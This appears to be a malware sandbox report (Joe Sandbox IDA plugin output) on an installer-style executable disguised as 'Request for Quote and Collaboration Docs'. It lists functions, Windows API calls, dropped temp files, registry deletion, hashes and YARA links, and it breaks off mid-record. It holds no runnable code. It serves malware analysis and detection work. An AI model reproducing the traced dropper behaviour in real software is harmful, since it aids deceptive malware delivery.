Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3181304155
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsk7E96.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsk7E96.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C
C:\Users\user\AppData\Local\Temp\nsk7E96.tmp, xrefs: 00402528
C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user\AppData\Local\Temp\nsk7E96.tmp$C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll
API String ID: 1453599865-2107438252
Opcode ID: c163f65ad7e3cc19a1ecb41abf68fb20e754719ac06291c3626fea40b4e8fc87
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: c163f65ad7e3cc19a1ecb41abf68fb20e754719ac06291c3626fea40b4e8fc87
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(00034B57,00000064,0003711F), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

verifying installer: %d%%, xrefs: 00402CC6
unpacking data: %d%%, xrefs: 00402CBF, 00402CCF

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 100022EB Relevance: 9.1, APIs: 6, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(00000040), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Memory Dump Source

Source File: 00000000.00000002.3045189799.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3044841472.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045310307.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045419469.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID:
API String ID: 3579998418-0
Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61

Function 1000248D Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,7622FFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002559
GlobalFree.KERNEL32(00000000), ref: 10002582

Memory Dump Source

Source File: 00000000.00000002.3045189799.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3044841472.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045310307.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045419469.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID:
API String ID: 2435812281-0
Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69

Function 100018C1 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalFree.KERNEL32(?), ref: 10001928
GlobalFree.KERNEL32(?), ref: 10001AB9
GlobalFree.KERNEL32(?), ref: 10001ABE

Memory Dump Source

Source File: 00000000.00000002.3045189799.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3044841472.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045310307.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045419469.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000000.00000002.3045189799.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3044841472.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045310307.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045419469.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 489282a1a85ab549aaf4814a5337f0dda84e369b99e1904d90d03a31c2257fb7
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: 489282a1a85ab549aaf4814a5337f0dda84e369b99e1904d90d03a31c2257fb7
